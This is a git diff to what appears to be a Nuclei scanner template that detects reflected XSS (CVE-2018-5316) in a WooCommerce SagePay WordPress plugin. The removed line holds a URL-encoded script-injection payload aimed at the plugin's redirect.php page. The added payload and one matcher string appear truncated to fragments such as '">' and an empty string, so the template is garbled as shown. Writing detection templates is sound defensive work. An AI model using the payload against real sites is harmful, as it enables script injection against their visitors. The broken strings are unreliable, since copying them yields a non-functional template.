diff --git a/http/cves/2018/CVE-2018-5316.yaml b/http/cves/2018/CVE-2018-5316.yaml index 9071440999..aa211cb3a3 100644 --- a/http/cves/2018/CVE-2018-5316.yaml +++ b/http/cves/2018/CVE-2018-5316.yaml @@ -19,22 +19,25 @@ info: cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 + verified: true framework: wordpress vendor: patsatech product: sagepay_server_gateway_for_woocommerce - tags: cve2018,wordpress,xss,wp-plugin,woocommerce,packetstorm,cve + tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve http: - method: GET path: - - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=">' matchers-condition: and matchers: - type: word part: body words: - - "" + - '">' + - 'Authenticate your card' + condition: and - type: word part: header @@ -43,4 +46,4 @@ http: - type: status status: - - 200 + - 200 \ No newline at end of file